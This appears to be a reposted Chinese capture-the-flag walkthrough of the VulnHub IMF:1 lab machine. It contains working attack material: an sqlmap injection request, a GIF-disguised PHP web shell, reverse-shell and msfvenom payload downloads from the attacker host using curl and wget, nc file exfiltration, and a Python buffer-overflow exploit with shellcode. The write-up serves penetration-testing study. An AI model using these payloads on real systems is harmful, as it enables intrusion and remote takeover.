本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/imf-1,162/
nmap -p- -n -sC -sV 192.168.5.145 -o imf.nmap
目录猜解没有猜解出来,看看目标web
有3个选项卡,分别点击3个选项卡网页上发现什么敏感内容,尝试看每个网页的源代码,发现contact.php的源码页面看到第一个flag
flag1{YWxsdGhlZmlsZXM=}
YWxsdGhlZmlsZXM= 根据特征可以猜测是base64进行编码的,这里进行解码看看
解码后的信息如下:
allthefiles
通过搜索页面的等号发现另一个base64编码的信息
解码后结果
yYXRvcg==} 发现解码出来的信息还是类似base64编码,感觉问题很大,不像是base64编码,然后想了想,发现如下信息可能是连贯的
将其拼接起来解码看看 ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
得出了flag2
flag2{aW1mYWRtaW5pc3RyYXRvcg==} 将aW1mYWRtaW5pc3RyYXRvcg== 解码后得出 imfadministrator
根据上面得到的imfadministrator 放在web上试试看,发现可以访问,显示一个登陆页面
根据目标靶机上的URL,显示的联系人,使用burp进行暴力破解,无果,然后更改密码作为数组为空传给服务端试试
得出falg3的base64编码Y29udGludWVUT2Ntcw== 将其解码得出如下结果:
continueTOcms
得到上述结果的时候显示的页面提供了一个cms页面
访问看看
访问这个cms的结果如下:
初次看到这类带问号的页面, 丢了一个单引号过去,发现存在sql注入漏洞
这种情况就直接使用sqlmap进行注入,不过这里得注意了,因为是登陆之后发现的注入点,那么在注入的时候是需要带入登陆成功的cookie,所以我这直接复制保存对应的http请求包使用sqlmap -r参数进行注入
GET /imfadministrator/cms.php?pagename=disavowlist HTTP/1.1
Host: 192.168.5.145
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.5.145/imfadministrator/cms.php?pagename=home
Cookie: PHPSESSID=tilm340t4jb64ubgal047l74h4
Connection: close
最终我使用了如下测试参数获取了目标信息:
sqlmap -r flag3imfsqlinj.txt --smart --batch -D admin -T pages -C id,pagedata,pagename --dump-all
具体sqlmap使用操作可以看我的公众号或者B站视频都有介绍
根据注入的结果获得图片的路径
http://192.168.5.145/imfadministrator/images/whiteboard.jpg
看到图片上有二维码,拿起手机扫描下二维码,得出 flag4{dXBsb2Fkcjk0Mi5waHA=}
将上面的base64编码进行解码得出结果为:uploadr942.php
然后试着访问http://192.168.5.145/imfadministrator/uploadr942.php 发现居然可以访问
上述是个上传页面,我们尝试上传看看,经过尝试,先上传一个正常的图片使用burp抓包,然后使用如下代码通过burp重放上传成功执行命令的shell
GIF89a
<?php $cmd=$_GET['cmd']; print(`$cmd`); ?>
获得 flag5{YWdlbnRzZXJ2aWNlcw==} 将此编码进行解码得到结果是:agentservices
这里使用反弹shell方式反弹到了本地kali,类似如下操作
使用kali自身php反弹shell脚本
cp /usr/share/webshells/php/php-reverse-shell.php shellbmfx.php
将上述代码监听的本地IP地址改为kali的IP地址192.168.5.130 监听端口是8855
当前目录执行php脚本开启简易web服务器
php -S 192.168.5.130:4488
本地kali监听端口
nc -lvnp 8855
curl%20-O%20http://192.168.5.130:4488/shellimf.txt;mv%20shellimf.txt%20shellimf2.php
下载到目标靶机然后访问即可反弹
拿到反弹shell权限,方便操作之后开始根据提示进行搜索
看着这一生像是有代理服务,既然有了目标靶机的权限可以尝试看看,搜索一下
使用命令如下:find / -name agent &>/dev/null
发现关键字agent,找到如下信息:
查看access_codes 发现有3个端口,这意思又是要使用knock进行敲击
使用knock进行敲击
多敲击了几次,然后再使用nmap进行7788端口扫描,因为拿到目标的权限查看网络连接获得开放代理的端口就是7788
这里为了方便使用metasploit玩玩,使用它的端口转发功能玩下,大致操作命令如下:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.5.130 LPORT=4444 -f elf > bmfximfexp
php -S 192.168.5.130:4488
wget http://192.168.5.130:4488/bmfximfexp
chmod 777 bmfximfexp
下载到目标靶机之后执行
./bmfximfexp
成功通过metasploit反弹
使用metasploit将目标靶机7788端口进行了端口转发到本地
然后可以通过nc的方式或者metasploit的方式将目标靶机的agent文件下载到本地kali下进行分析
nc -l -p 9999 > agent
nc 192.168.1.124 9999 < /usr/local/bin/agent
获取了agent在本地进行分析,这方面我不是太擅长,先放着,需要看分析的可以移步至下列地址观看
https://g0blin.co.uk/imf-vulnhub-writeup/
https://habr.com/en/post/318814/
https://acebombersecurity.wordpress.com/2016/11/06/imf-1-walkthrough-vulnhub/
通过生成shellcode 代码
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "\x00\x0a\x0d"
kali@kali:~/Downloads/imf$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "\x00\x0a\x0d"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 479 bytes
buf = b""
buf += b"\xb8\x55\xf0\x23\x37\xda\xd3\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x12\x83\xea\xfc\x31\x42\x0e\x03\x17\xfe\xc1"
buf += b"\xc2\xa6\x25\xf2\xce\x9b\x9a\xae\x7a\x19\x94\xb0\xcb"
buf += b"\x7b\x6b\xb2\xbf\xda\xc3\x8c\x72\x5c\x6a\x8a\x75\x34"
buf += b"\xad\xc4\x83\x46\x45\x17\x8c\x64\x3b\x9e\x6d\xd8\x25"
buf += b"\xf1\x3c\x4b\x19\xf2\x37\x8a\x90\x75\x15\x24\x45\x59"
buf += b"\xe9\xdc\xf1\x8a\x22\x7e\x6b\x5c\xdf\x2c\x38\xd7\xc1"
buf += b"\x60\xb5\x2a\x81"
对应写好的Python利用代码如下:
这里地址需要更改为实际情况的地址,因为我这里使用了端口转发的方式将目标靶机的端口转发到本地,所以是写的本地地址
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('localhost', 7788))
client.recv(512)
client.send("48093572\n")
client.recv(512)
client.send("3\n")
client.recv(512)
# shellcode from msfvenom
buf = b""
buf += b"\xb8\x55\xf0\x23\x37\xda\xd3\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x12\x83\xea\xfc\x31\x42\x0e\x03\x17\xfe\xc1"
buf += b"\xc2\xa6\x25\xf2\xce\x9b\x9a\xae\x7a\x19\x94\xb0\xcb"
buf += b"\x7b\x6b\xb2\xbf\xda\xc3\x8c\x72\x5c\x6a\x8a\x75\x34"
buf += b"\xad\xc4\x83\x46\x45\x17\x8c\x64\x3b\x9e\x6d\xd8\x25"
buf += b"\xf1\x3c\x4b\x19\xf2\x37\x8a\x90\x75\x15\x24\x45\x59"
buf += b"\xe9\xdc\xf1\x8a\x22\x7e\x6b\x5c\xdf\x2c\x38\xd7\xc1"
buf += b"\x60\xb5\x2a\x81"
# padding
buf += "A" * (168 - len(buf))
# call eax gadget
buf += "\x63\x85\x04\x08\n"
client.send(buf)
然后在kali上执行
执行执行使用nc本地监听端口
成功拿到flag6
flag6{R2gwc3RQcm90MGMwbHM=}
本文分享自微信公众号 - 白帽安全技术复现(baimaofuxian)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
来源:oschina
链接:https://my.oschina.net/u/4641386/blog/4549358